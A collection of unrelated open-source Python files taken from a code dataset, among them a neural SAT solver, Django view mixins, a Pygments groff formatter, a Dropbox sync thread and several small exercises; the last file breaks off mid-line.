() for x in decimator_state: new_decimator_state += ( (flag * x) .view( sat_problem._batch_replication, sat_problem._edge_num / sat_problem._batch_replication, -1, ) .sum(dim=0), ) function_prediction = None if prediction[1] is not None: flag = torch.mm(sat_problem._batch_mask_tuple[2], batch_flag) function_prediction = ( (flag * prediction[1]) .view(sat_problem._batch_replication, -1) .sum(dim=0) .unsqueeze(1) ) return ( (variable_prediction, function_prediction), new_propagator_state, new_decimator_state, ) def _local_search(self, prediction, sat_problem, batch_replication): "Implements the Walk-SAT algorithm for post-processing." assignment = (prediction[0] > 0.5).float() assignment = sat_problem._active_variables * (2 * assignment - 1.0) sat_problem._edge_mask = torch.mm( sat_problem._graph_mask_tuple[1], sat_problem._active_variables ) * torch.mm(sat_problem._graph_mask_tuple[3], sat_problem._active_functions) for _ in range(self._local_search_iterations): unsat_examples, unsat_functions = self._compute_energy( assignment, sat_problem ) unsat_examples = (unsat_examples > 0).float() if batch_replication > 1: compact_unsat_examples = ( 1 - ( torch.mm( sat_problem._replication_mask_tuple[1], 1 - unsat_examples ) > 0 ).float() ) if compact_unsat_examples.sum() == 0: break elif unsat_examples.sum() == 0: break delta_energy = self._compute_energy_diff(assignment, sat_problem) max_delta_ind = util.sparse_argmax( -delta_energy.squeeze(1), sat_problem._batch_mask_tuple[0], device=self._device, ) unsat_variables = ( torch.mm(sat_problem._vf_mask_tuple[0], unsat_functions) * sat_problem._active_variables ) unsat_variables = (unsat_variables > 0).float() * torch.rand( [sat_problem._variable_num, 1], device=self._device ) random_ind = util.sparse_argmax( unsat_variables.squeeze(1), sat_problem._batch_mask_tuple[0], device=self._device, ) coin = ( torch.rand(sat_problem._batch_size, device=self._device) > self._epsilon ).long() max_ind = coin * max_delta_ind + (1 - coin) * random_ind max_ind = max_ind[unsat_examples[:, 0] > 0] # Flipping the selected variables assignment[max_ind, 0] = -assignment[max_ind, 0] return (assignment + 1) / 2.0, prediction[1] def _compute_energy_diff(self, assignment, sat_problem): "Computes the delta energy if each variable to be flipped during the local search." distributed_assignment = torch.mm( sat_problem._signed_mask_tuple[1], assignment * sat_problem._active_variables, ) aggregated_assignment = torch.mm( sat_problem._graph_mask_tuple[2], distributed_assignment ) aggregated_assignment = torch.mm( sat_problem._graph_mask_tuple[3], aggregated_assignment ) aggregated_assignment = aggregated_assignment - distributed_assignment function_degree = torch.mm( sat_problem._graph_mask_tuple[1], sat_problem._active_variables ) function_degree = torch.mm(sat_problem._graph_mask_tuple[2], function_degree) function_degree = torch.mm(sat_problem._graph_mask_tuple[3], function_degree) critical_edges = ( aggregated_assignment == (1 - function_degree) ).float() * sat_problem._edge_mask delta = torch.mm( sat_problem._graph_mask_tuple[0], critical_edges * distributed_assignment ) return delta def _compute_energy(self, assignment, sat_problem): "Computes the energy of each CNF instance present in the batch." aggregated_assignment = torch.mm( sat_problem._signed_mask_tuple[1], assignment * sat_problem._active_variables, ) aggregated_assignment = torch.mm( sat_problem._graph_mask_tuple[2], aggregated_assignment ) function_degree = torch.mm( sat_problem._graph_mask_tuple[1], sat_problem._active_variables ) function_degree = torch.mm(sat_problem._graph_mask_tuple[2], function_degree) unsat_functions = ( aggregated_assignment == -function_degree ).float() * sat_problem._active_functions return ( torch.mm(sat_problem._batch_mask_tuple[3], unsat_functions), unsat_functions, ) def get_init_state( self, graph_map, batch_variable_map, batch_function_map, edge_feature, graph_feat, randomized, batch_replication=1, ): "Initializes the propgator and the decimator messages in each direction." if self._propagator is None: init_propagator_state = None else: init_propagator_state = self._propagator.get_init_state( graph_map, batch_variable_map, batch_function_map, edge_feature, graph_feat, randomized, batch_replication, ) if self._decimator is None: init_decimator_state = None else: init_decimator_state = self._decimator.get_init_state( graph_map, batch_variable_map, batch_function_map, edge_feature, graph_feat, randomized, batch_replication, ) return init_propagator_state, init_decimator_state ############################################################### class NeuralPropagatorDecimatorSolver(PropagatorDecimatorSolverBase): "Implements a fully neural PDP SAT solver with both the propagator and the decimator being neural." def __init__( self, device, name, edge_dimension, meta_data_dimension, propagator_dimension, decimator_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, prediction_dimension, variable_classifier=None, function_classifier=None, dropout=0, local_search_iterations=0, epsilon=0.05, ): super(NeuralPropagatorDecimatorSolver, self).__init__( device=device, name=name, propagator=pdp_propagate.NeuralMessagePasser( device, edge_dimension, decimator_dimension, meta_data_dimension, propagator_dimension, mem_hidden_dimension, mem_agg_hidden_dimension, agg_hidden_dimension, dropout, ), decimator=pdp_decimate.NeuralDecimator( device, propagator_dimension, meta_data_dimension, decimator_dimension, mem_hidden_dimension, mem_agg_hidden_dimension, agg_hidden_dimension, edge_dimension, dropout, ), predictor=pdp_predict.NeuralPredictor( device, decimator_dimension, prediction_dimension, edge_dimension, meta_data_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, variable_classifier, function_classifier, ), local_search_iterations=local_search_iterations, epsilon=epsilon, ) ############################################################### class NeuralSurveyPropagatorSolver(PropagatorDecimatorSolverBase): "Implements a PDP solver with the SP propgator and a neural decimator." def __init__( self, device, name, edge_dimension, meta_data_dimension, decimator_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, prediction_dimension, variable_classifier=None, function_classifier=None, dropout=0, local_search_iterations=0, epsilon=0.05, ): super(NeuralSurveyPropagatorSolver, self).__init__( device=device, name=name, propagator=pdp_propagate.SurveyPropagator( device, decimator_dimension, include_adaptors=True ), decimator=pdp_decimate.NeuralDecimator( device, (3, 2), meta_data_dimension, decimator_dimension, mem_hidden_dimension, mem_agg_hidden_dimension, agg_hidden_dimension, edge_dimension, dropout, ), predictor=pdp_predict.NeuralPredictor( device, decimator_dimension, prediction_dimension, edge_dimension, meta_data_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, variable_classifier, function_classifier, ), local_search_iterations=local_search_iterations, epsilon=epsilon, ) ############################################################### class SurveyPropagatorSolver(PropagatorDecimatorSolverBase): "Implements the classical SP-guided decimation solver via the PDP framework." def __init__( self, device, name, tolerance, t_max, local_search_iterations=0, epsilon=0.05 ): super(SurveyPropagatorSolver, self).__init__( device=device, name=name, propagator=pdp_propagate.SurveyPropagator( device, decimator_dimension=1, include_adaptors=False ), decimator=pdp_decimate.SequentialDecimator( device, message_dimension=(3, 1), scorer=pdp_predict.SurveyScorer( device, message_dimension=1, include_adaptors=False ), tolerance=tolerance, t_max=t_max, ), predictor=pdp_predict.IdentityPredictor(device=device, random_fill=True), local_search_iterations=local_search_iterations, epsilon=epsilon, ) ############################################################### class WalkSATSolver(PropagatorDecimatorSolverBase): "Implements the classical Walk-SAT solver via the PDP framework." def __init__(self, device, name, iteration_num, epsilon=0.05): super(WalkSATSolver, self).__init__( device=device, name=name, propagator=None, decimator=None, predictor=pdp_predict.IdentityPredictor(device=device, random_fill=True), local_search_iterations=iteration_num, epsilon=epsilon, ) ############################################################### class ReinforceSurveyPropagatorSolver(PropagatorDecimatorSolverBase): "Implements the classical Reinforce solver via the PDP framework." def __init__( self, device, name, pi=0.1, decimation_probability=0.5, local_search_iterations=0, epsilon=0.05, ): super(ReinforceSurveyPropagatorSolver, self).__init__( device=device, name=name, propagator=pdp_propagate.SurveyPropagator( device, decimator_dimension=1, include_adaptors=False, pi=pi ), decimator=pdp_decimate.ReinforceDecimator( device, scorer=pdp_predict.SurveyScorer( device, message_dimension=1, include_adaptors=False, pi=pi ), decimation_probability=decimation_probability, ), predictor=pdp_predict.ReinforcePredictor(device=device), local_search_iterations=local_search_iterations, epsilon=epsilon, ) ############################################################### class NeuralSequentialDecimatorSolver(PropagatorDecimatorSolverBase): "Implements a PDP solver with a neural propgator and the sequential decimator." def __init__( self, device, name, edge_dimension, meta_data_dimension, propagator_dimension, decimator_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, classifier_dimension, dropout, tolerance, t_max, local_search_iterations=0, epsilon=0.05, ): super(NeuralSequentialDecimatorSolver, self).__init__( device=device, name=name, propagator=pdp_propagate.NeuralMessagePasser( device, edge_dimension, decimator_dimension, meta_data_dimension, propagator_dimension, mem_hidden_dimension, mem_agg_hidden_dimension, agg_hidden_dimension, dropout, ), decimator=pdp_decimate.SequentialDecimator( device, message_dimension=(3, 1), scorer=pdp_predict.NeuralPredictor( device, decimator_dimension, 1, edge_dimension, meta_data_dimension, mem_hidden_dimension, agg_hidden_dimension, mem_agg_hidden_dimension, variable_classifier=util.PerceptronTanh( decimator_dimension, classifier_dimension, 1 ), function_classifier=None, ), tolerance=tolerance, t_max=t_max, ), predictor=pdp_predict.IdentityPredictor(device=device, random_fill=True), local_search_iterations=local_search_iterations, epsilon=epsilon, )
StarcoderdataPython
8109437
<reponame>yottaawesome/ml-nanodegree-stuff<gh_stars>0 # Import statements from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score import pandas as pd import numpy as np # Read the data. data = np.asarray(pd.read_csv('3-3-16-decision-trees-in-sklearn.csv', header=None)) # Assign the features to the variable X, and the labels to the variable y. X = data[:,0:2] y = data[:,2] # TODO: Create the decision tree model and assign it to the variable model. model = DecisionTreeClassifier() # TODO: Fit the model. model.fit(X,y) # TODO: Make predictions. Store them in the variable y_pred. y_pred = model.predict(X) # TODO: Calculate the accuracy and assign it to the variable acc. acc = accuracy_score(y, y_pred)
StarcoderdataPython
12861190
from searcher import CLIPSearcher from utils import get_args if __name__ == "__main__": args = get_args() cs = CLIPSearcher(device=args.device, store_path=args.store_path) cs.load_dir(args.dir, save_every=args.save_every, recursive=args.recursive, load_new=(not args.dont_load_new)) cs.search(texts=args.texts, images=args.images, results=args.results, outdir=args.outdir)
StarcoderdataPython
3444766
# Copyright (c) 2020, DjaoDjin inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from __future__ import unicode_literals import dateutil, dateutil.relativedelta from django.core.exceptions import ImproperlyConfigured from django.http import Http404 from django.utils.dateparse import parse_datetime from django.utils.translation import ugettext as _ from ...helpers import datetime_or_now, start_of_day, update_context_urls from . import settings from .compat import six from .templatetags.deployutils_prefixtags import site_prefixed class AccessiblesMixin(object): """ Organizations accessibles by the ``request.user`` as defined in the session passed by the DjaoDjin proxy. """ redirect_roles = None def get_redirect_roles(self, request): #pylint:disable=unused-argument return self.redirect_roles def accessibles(self, roles=None): """ Returns the list of *slugs* for which the accounts are accessibles by ``request.user`` filtered by ``roles`` if present. """ return [org['slug'] for org in self.get_accessibles(self.request, roles=roles)] @staticmethod def get_accessibles(request, roles=None): """ Returns the list of *dictionnaries* for which the accounts are accessibles by ``request.user`` filtered by ``roles`` if present. """ results = [] for role_name, organizations in six.iteritems(request.session.get( 'roles', {})): if roles is None or role_name in roles: results += organizations return results def get_context_data(self, **kwargs): context = super(AccessiblesMixin, self).get_context_data(**kwargs) urls = {'profiles': []} for account in self.get_accessibles(self.request, self.get_redirect_roles(self.request)): urls['profiles'] += [{ 'location': site_prefixed('/profile/%s/' % account['slug']), 'printable_name': account.get('printable_name', account.get('slug'))}] update_context_urls(context, urls) return context def get_managed(self, request): """ Returns the list of *dictionnaries* for which the accounts are managed by ``request.user``. """ return self.get_accessibles(request, roles=['manager']) @property def managed_accounts(self): """ Returns a list of account *slugs* for ``request.user`` is a manager of the account. """ return self.accessibles(roles=['manager']) def manages(self, account): """ Returns ``True`` if the ``request.user`` is a manager for ``account``. ``account`` will be converted to a string and compared to an organization slug. """ account_slug = str(account) for organization in self.request.session.get( 'roles', {}).get('manager', []): if account_slug == organization['slug']: return True return False class AccountMixin(object): """ Mixin to use in views that will retrieve an account object (out of ``account_queryset``) associated to a slug parameter (``account_url_kwarg``) in the URL. The ``account`` property will be ``None`` if either ``account_url_kwarg`` is ``None`` or absent from the URL pattern. """ account_queryset = None account_lookup_field = None account_url_kwarg = None @property def account(self): if not hasattr(self, '_account'): if (self.account_url_kwarg is not None and self.account_url_kwarg in self.kwargs): if self.account_queryset is None: raise ImproperlyConfigured( "%(cls)s.account_queryset is None. Define " "%(cls)s.account_queryset." % { 'cls': self.__class__.__name__ } ) if self.account_lookup_field is None: raise ImproperlyConfigured( "%(cls)s.account_lookup_field is None. Define " "%(cls)s.account_lookup_field as the field used " "to retrieve accounts in the database." % { 'cls': self.__class__.__name__ } ) kwargs = {'%s__exact' % self.account_lookup_field: self.kwargs.get(self.account_url_kwarg)} try: self._account = self.account_queryset.filter(**kwargs).get() except self.account_queryset.model.DoesNotExist: #pylint: disable=protected-access raise Http404(_("No %(verbose_name)s found matching"\ " the query") % {'verbose_name': self.account_queryset.model._meta.verbose_name}) else: self._account = None return self._account def get_context_data(self, **kwargs): context = super(AccountMixin, self).get_context_data(**kwargs) context.update({self.account_url_kwarg: self.account}) return context def get_reverse_kwargs(self): """ List of kwargs taken from the url that needs to be passed through to ``get_success_url``. """ if self.account_url_kwarg: return [self.account_url_kwarg] return [] def get_url_kwargs(self, **kwargs): if not kwargs: kwargs = self.kwargs url_kwargs = {} for url_kwarg in self.get_reverse_kwargs(): url_kwarg_val = kwargs.get(url_kwarg, None) if url_kwarg_val: url_kwargs.update({url_kwarg: url_kwarg_val}) return url_kwargs class ProviderMixin(AccountMixin): """ Mixin that behaves like `AccountMixin` except it will default to the broker account instead of `None` when no account is found. """ @property def account(self): if not hasattr(self, '_account'): self._account = super(ProviderMixin, self).account if self._account is None: kwargs = { '%s__exact' % self.account_lookup_field: settings.APP_NAME } try: self._account = self.account_queryset.filter(**kwargs).get() except self.account_queryset.model.DoesNotExist: #pylint: disable=protected-access raise Http404( _("No %(verbose_name)s found matching '%(provider)s'") % {'verbose_name': self.account_queryset.model._meta.verbose_name, 'provider': settings.APP_NAME }) return self._account class BeforeMixin(object): clip = True date_field = 'created_at' def cache_fields(self, request): self.ends_at = request.GET.get('ends_at', None) if self.clip or self.ends_at: if self.ends_at is not None: self.ends_at = parse_datetime(self.ends_at.strip('"')) self.ends_at = datetime_or_now(self.ends_at) def get_queryset(self): """ Implements before date filtering on ``date_field`` """ kwargs = {} if self.ends_at: kwargs.update({'%s__lt' % self.date_field: self.ends_at}) return super(BeforeMixin, self).get_queryset().filter(**kwargs) def get(self, request, *args, **kwargs): #pylint: disable=unused-argument self.cache_fields(request) return super(BeforeMixin, self).get(request, *args, **kwargs) def get_context_data(self, **kwargs): context = super(BeforeMixin, self).get_context_data(**kwargs) if self.ends_at: context.update({'ends_at': self.ends_at}) return context class DateRangeMixin(BeforeMixin): natural_period = dateutil.relativedelta.relativedelta(months=-1) def cache_fields(self, request): super(DateRangeMixin, self).cache_fields(request) self.start_at = None if self.ends_at: self.start_at = request.GET.get('start_at', None) if self.start_at: self.start_at = datetime_or_now(parse_datetime( self.start_at.strip('"'))) else: self.start_at = ( start_of_day(self.ends_at + self.natural_period) + dateutil.relativedelta.relativedelta(days=1)) def get_queryset(self): """ Implements date range filtering on ``created_at`` """ kwargs = {} if self.start_at: kwargs.update({'%s__gte' % self.date_field: self.start_at}) return super(DateRangeMixin, self).get_queryset().filter(**kwargs) def get_context_data(self, **kwargs): context = super(DateRangeMixin, self).get_context_data(**kwargs) if self.start_at: context.update({'start_at': self.start_at}) return context
StarcoderdataPython
6461730
#!/usr/bin/env python # encoding: utf-8 # # Copyright (c) 2014 <NAME> <<EMAIL>> # # MIT Licence. See http://opensource.org/licenses/MIT # # Created on 2014-02-15 # """ A Python helper library for `Alfred 2 <http://www.alfredapp.com/>`_ Workflow authors. Alfred Workflows typically take user input, fetch data from the Web or elsewhere, filter them and display results to the user. **Alfred-Workflow** helps you do these things. There are convenience methods for: - Parsing script arguments. - Text decoding/normalisation. - Caching data and settings. - Secure storage (and sync) of passwords (using OS X Keychain). - Generating XML output for Alfred. - Including external libraries (adding directories to ``sys.path``). - Filtering results using an Alfred-like algorithm. - Generating log output for debugging. - Capturing errors, so the workflow doesn't fail silently. Quick Example ============= Here's how to show recent `Pinboard.in <https://pinboard.in/>`_ posts in Alfred. Create a new Workflow in Alfred's preferences. Add a **Script Filter** with Language ``/usr/bin/python`` and paste the following into the **Script** field (changing ``API_KEY``): .. code-block:: python :emphasize-lines: 4 import sys from workflow import Workflow, ICON_WEB, web API_KEY = 'your-pinboard-api-key' def main(wf): url = 'https://api.pinboard.in/v1/posts/recent' params = dict(auth_token=API_KEY, count=20, format='json') r = web.get(url, params) r.raise_for_status() for post in r.json()['posts']: wf.add_item(post['description'], post['href'], arg=post['href'], uid=post['hash'], valid=True, icon=ICON_WEB) wf.send_feedback() if __name__ == u"__main__": wf = Workflow() sys.exit(wf.run(main)) Add an **Open URL** action to your Workflow with ``{query}`` as the **URL**, connect your **Script Filter** to it, and you can now hit **ENTER** on a Pinboard item in Alfred to open it in your browser. Installation ============ Download `the archive <https://github.com/deanishe/alfred-workflow/archive/master.zip>`_ from the `GitHub repository <https://github.com/deanishe/alfred-workflow>`_ and copy the ``workflow`` subfolder to the root directory of your Workflow. Your Workflow directory should look something like this (where ``yourscript.py`` contains your Workflow code and ``info.plist`` is the Workflow information file generated by Alfred):: Your Workflow/ info.plist icon.png workflow/ __init__.py workflow.py web.py yourscript.py etc. """ __version__ = '1.2' from .workflow import Workflow, PasswordNotFound, KeychainError from .workflow import (ICON_ERROR, ICON_WARNING, ICON_NOTE, ICON_INFO, ICON_FAVORITE, ICON_FAVOURITE, ICON_USER, ICON_GROUP, ICON_HELP, ICON_NETWORK, ICON_WEB, ICON_COLOR, ICON_COLOUR, ICON_SYNC, ICON_SETTINGS, ICON_TRASH, ICON_MUSIC, ICON_BURN, ICON_ACCOUNT, ICON_ERROR)
StarcoderdataPython
3354047
<reponame>Mostofa-Najmus-Sakib/Applied-Algorithm<gh_stars>1-10 """ LeetCode Problem: 895. Maximum Frequency Stack Link: https://leetcode.com/problems/maximum-frequency-stack/ Language: Python Written by: <NAME> Time Complexity: O(1) Space Complexity: O(N) """ class FreqStack: def __init__(self): self.freqHashMap = defaultdict(int) self.group = defaultdict(list) self.maxFreq = 0 def push(self, val: int) -> None: self.freqHashMap[val] += 1 if self.freqHashMap[val] > self.maxFreq: self.maxFreq = self.freqHashMap[val] self.group[self.freqHashMap[val]].append(val) def pop(self) -> int: x = self.group[self.maxFreq].pop() self.freqHashMap[x] -= 1 if not self.group[self.maxFreq]: self.maxFreq -= 1 return x
StarcoderdataPython
3420207
from app import db class User(db.Model): id = db.Column(db.Integer, primary_key = True) # Login email = db.Column(db.String, unique = True, nullable = False) password = db.Column(db.String, nullable = False) #Info name = db.Column(db.String) cpf = db.Column(db.String) gender = db.Column(db.String) birthday = db.Column(db.Date) def __repr__(self): return "<User %r>" % self.email class Book(db.Model): id = db.Column(db.Integer, primary_key = True) #Info title = db.Column(db.String, nullable = False) author = db.Column(db.String, nullable = False) publisher = db.Column(db.String, nullable = False) gender = db.Column(db.String, nullable = False) isbn = db.Column(db.String) def __repr__(self): return "<Book %r>" % self.title class Borrow(db.Model): id = db.Column(db.Integer, primary_key = True) #Info id_lender = db.Column(db.Integer, nullable = False) id_borrower = db.Column(db.Integer, nullable = False) id_book = db.Column(db.Integer, nullable = False)
StarcoderdataPython
333179
<filename>pygments/formatters/groff.py """ pygments.formatters.groff ~~~~~~~~~~~~~~~~~~~~~~~~~ Formatter for groff output. :copyright: Copyright 2006-2022 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ import math from pygments.formatter import Formatter from pygments.util import get_bool_opt, get_int_opt __all__ = ['GroffFormatter'] class GroffFormatter(Formatter): """ Format tokens with groff escapes to change their color and font style. .. versionadded:: 2.11 Additional options accepted: `style` The style to use, can be a string or a Style subclass (default: ``'default'``). `monospaced` If set to true, monospace font will be used (default: ``true``). `linenos` If set to true, print the line numbers (default: ``false``). `wrap` Wrap lines to the specified number of characters. Disabled if set to 0 (default: ``0``). """ name = 'groff' aliases = ['groff','troff','roff'] filenames = [] def __init__(self, **options): Formatter.__init__(self, **options) self.monospaced = get_bool_opt(options, 'monospaced', True) self.linenos = get_bool_opt(options, 'linenos', False) self._lineno = 0 self.wrap = get_int_opt(options, 'wrap', 0) self._linelen = 0 self.styles = {} self._make_styles() def _make_styles(self): regular = '\\f[CR]' if self.monospaced else '\\f[R]' bold = '\\f[CB]' if self.monospaced else '\\f[B]' italic = '\\f[CI]' if self.monospaced else '\\f[I]' for ttype, ndef in self.style: start = end = '' if ndef['color']: start += '\\m[%s]' % ndef['color'] end = '\\m[]' + end if ndef['bold']: start += bold end = regular + end if ndef['italic']: start += italic end = regular + end if ndef['bgcolor']: start += '\\M[%s]' % ndef['bgcolor'] end = '\\M[]' + end self.styles[ttype] = start, end def _define_colors(self, outfile): colors = set() for _, ndef in self.style: if ndef['color'] is not None: colors.add(ndef['color']) for color in colors: outfile.write('.defcolor ' + color + ' rgb #' + color + '\n') def _write_lineno(self, outfile): self._lineno += 1 outfile.write("%s% 4d " % (self._lineno != 1 and '\n' or '', self._lineno)) def _wrap_line(self, line): length = len(line.rstrip('\n')) space = ' ' if self.linenos else '' newline = '' if length > self.wrap: for i in range(0, math.floor(length / self.wrap)): chunk = line[i*self.wrap:i*self.wrap+self.wrap] newline += (chunk + '\n' + space) remainder = length % self.wrap if remainder > 0: newline += line[-remainder-1:] self._linelen = remainder elif self._linelen + length > self.wrap: newline = ('\n' + space) + line self._linelen = length else: newline = line self._linelen += length return newline def _escape_chars(self, text): text = text.replace('\\', '\\[u005C]'). \ replace('.', '\\[char46]'). \ replace('\'', '\\[u0027]'). \ replace('`', '\\[u0060]'). \ replace('~', '\\[u007E]') copy = text for char in copy: if len(char) != len(char.encode()): uni = char.encode('unicode_escape') \ .decode()[1:] \ .replace('x', 'u00') \ .upper() text = text.replace(char, '\\[u' + uni[1:] + ']') return text def format_unencoded(self, tokensource, outfile): self._define_colors(outfile) outfile.write('.nf\n\\f[CR]\n') if self.linenos: self._write_lineno(outfile) for ttype, value in tokensource: start, end = self.styles[ttype] for line in value.splitlines(True): if self.wrap > 0: line = self._wrap_line(line) if start and end: text = self._escape_chars(line.rstrip('\n')) if text != '': outfile.write(''.join((start, text, end))) else: outfile.write(self._escape_chars(line.rstrip('\n'))) if line.endswith('\n'): if self.linenos: self._write_lineno(outfile) self._linelen = 0 else: outfile.write('\n') self._linelen = 0 outfile.write('\n.fi')
StarcoderdataPython
9652336
#/* # * Copyright (C) 2013 <NAME> # * # * # * This Program is free software; you can redistribute it and/or modify # * it under the terms of the GNU General Public License as published by # * the Free Software Foundation; either version 2, or (at your option) # * any later version. # * # * This Program is distributed in the hope that it will be useful, # * but WITHOUT ANY WARRANTY; without even the implied warranty of # * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # * GNU General Public License for more details. # * # * You should have received a copy of the GNU General Public License # * along with this program; see the file COPYING. If not, write to # * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. # * http://www.gnu.org/copyleft/gpl.html # * # */ import xbmc import threading from resources.lib.utils import * class SynchronizeThread(threading.Thread): PROGRESS_TIMEOUT = 20.0 def __init__(self, sync_account): super(SynchronizeThread, self).__init__() self._stop = False self._sync_account = sync_account self._lastProgressUpdate = 0.0 def stop(self): self._stop = True def run(self): log_debug('Start sync for account %s...' % (self._sync_account.account_name) ) self._sync_account.syncSemaphore.acquire() self._getRemoteChanges() if not self._stop: self._synchronize() self._sync_account.syncSemaphore.release() if self._stop: log('DropboxSynchronizer: Sync aborted account %s...'% (self._sync_account.account_name)) else: log_debug('Finished sync account %s...'% (self._sync_account.account_name)) def _getRemoteChanges(self): hasMore = True clientCursor = self._sync_account.getClientCursor() initalSync = False if clientCursor == None: initalSync = True log('Starting first sync...') while hasMore and not self._stop: #Sync, get all metadata items, clientCursor, reset, hasMore = self._sync_account._client.getRemoteChanges(clientCursor) if reset: #reset the complete data on client side log('Reset requested from remote server...') self._sync_account.clearSyncData() del self._sync_account.root #Root path is _remoteSyncPath but then with lower case! self._sync_account.createSyncRoot() initalSync = True #prepare item list for path, meta in items.iteritems(): if not initalSync: log_debug('New item info received for %s'%(path) ) if path.find(self._sync_account.root.path) == 0: self._sync_account.root.updateRemoteInfo(path, meta) if len(items) > 0: self._sync_account.root.updateLocalRootPath(self._sync_account._syncPath) #store new cursor + data self._sync_account.storeSyncData(clientCursor) def _synchronize(self): #Get the items to sync syncDirs, syncItems = self._sync_account.root.getItems2Sync() #alsways first sync(create) dirs, so that they will have the correct time stamps if (len(syncItems) > 0) or (len(syncDirs) > 0): for dir in syncDirs: if self._stop: break #exit for loop dir.sync() itemsTotal = len(syncItems) if itemsTotal > 0 and not self._stop: itemNr = 0 for item in syncItems: if self._stop: break #exit for loop else: self.updateProgress(itemNr, itemsTotal) item.sync() itemNr += 1 self.updateProgressFinished(itemNr, itemsTotal) #store the new data self._sync_account.storeSyncData() def updateProgress(self, handled, total): now = time.time() if (self._lastProgressUpdate + self.PROGRESS_TIMEOUT) < now: progress_text = u'%s/%s (%s)' % (str(handled), str(total), self._sync_account.account_name) log('Synchronizing number of items: ' + progress_text ) buildin = u'Notification(%s,%s,%d,%s)' % (LANGUAGE_STRING(30114).decode("utf-8"), progress_text, 7000, ICON.decode("utf-8")) xbmc.executebuiltin(buildin.encode("utf-8")) self._lastProgressUpdate = now #Also store the new data (frequently) self._sync_account.storeSyncData() def updateProgressFinished(self, handled, total): progress_text = u'%s (%s)' % (str(handled), self._sync_account.account_name) log('Number of items synchronized: ' + progress_text ) buildin = u'Notification(%s,%s%s,%d,%s)' % (LANGUAGE_STRING(30106).decode("utf-8"), LANGUAGE_STRING(30107).decode("utf-8"), progress_text, 10000, ICON.decode("utf-8")) xbmc.executebuiltin(buildin.encode("utf-8"))
StarcoderdataPython
3445907
<reponame>PacktPublishing/MicroPython-Cookbook<filename>Chapter11/01_remount.py import storage storage.remount('/', False)
StarcoderdataPython
4968091
from .validation import validation_handler
StarcoderdataPython
5163219
# -*- coding: utf-8 -*- # Copyright (c) 2015, <NAME>, <NAME> # Licensed under the BSD 3-clause license (see LICENSE.txt) """ Classes in this module enhance Brownian motion covariance function with the Stochastic Differential Equation (SDE) functionality. """ from .brownian import Brownian import numpy as np class sde_Brownian(Brownian): """ Class provide extra functionality to transfer this covariance function into SDE form. Linear kernel: .. math:: k(x,y) = \sigma^2 min(x,y) """ def sde_update_gradient_full(self, gradients): """ Update gradient in the order in which parameters are represented in the kernel """ self.variance.gradient = gradients[0] def sde(self): """ Return the state space representation of the covariance. """ variance = float(self.variance.values) # this is initial variancve in Bayesian linear regression F = np.array( ((0,1.0),(0,0) )) L = np.array( ((1.0,),(0,)) ) Qc = np.array( ((variance,),) ) H = np.array( ((1.0,0),) ) Pinf = np.array( ( (0, -0.5*variance ), (-0.5*variance, 0) ) ) #P0 = Pinf.copy() P0 = np.zeros((2,2)) #Pinf = np.array( ( (t0, 1.0), (1.0, 1.0/t0) ) ) * variance dF = np.zeros((2,2,1)) dQc = np.ones( (1,1,1) ) dPinf = np.zeros((2,2,1)) dPinf[:,:,0] = np.array( ( (0, -0.5), (-0.5, 0) ) ) #dP0 = dPinf.copy() dP0 = np.zeros((2,2,1)) return (F, L, Qc, H, Pinf, P0, dF, dQc, dPinf, dP0)
StarcoderdataPython
1850206
#!/usr/bin/env python class Bunch( dict ): def __init__( self, *args, **kwargs ): dict.__init__( self, *args, **kwargs ) self.__dict__ = self def __getstate__( self ): return self def __setstate__( self, state ): self.update( state ) self.__dict__ = self if __name__ == '__main__': b = Bunch( xyz = 1, k = 'ah-ha', ) b.abc = 123 print b print b.abc
StarcoderdataPython
92876
<filename>robustness/run_robustness.py """This script runs the robustness analysis.""" import os from pathlib import Path import respy as rp from robustness_library import distribute_tasks from robustness_library import eval_eu_loss from robustness_library import eval_experience_effect_ambiguity from robustness_library import get_model_specification # Automatic parallelism turned off parallel_off = { "NUMBA_NUM_THREADS": "1", "OMP_NUM_THREADS": "1", "OPENBLAS_NUM_THREADS": "1", "NUMEXPR_NUM_THREADS": "1", "MKL_NUM_THREADS": "1", } os.environ.update(parallel_off) subdir_robustness = Path(f"{os.environ['PROJECT_ROOT']}/data") # Define parameters for ambiguity set AMBIGUITY_VALUES = { "absent": 0.00, "low": 0.01, "high": 0.02, } # Define processing parameters YEARS_EDUCATION = 10 MODEL = "kw_94_two" NUM_PERIODS = 40 NUM_AGENTS = 1000 SAVE = False def main(): # Load the example model params, options = get_model_specification(MODEL, NUM_AGENTS, NUM_PERIODS, False) # Build the simulate function with baseline ambiguity level simulate_func = rp.get_simulate_func(params, options) # Create the tasks tasks = [] for 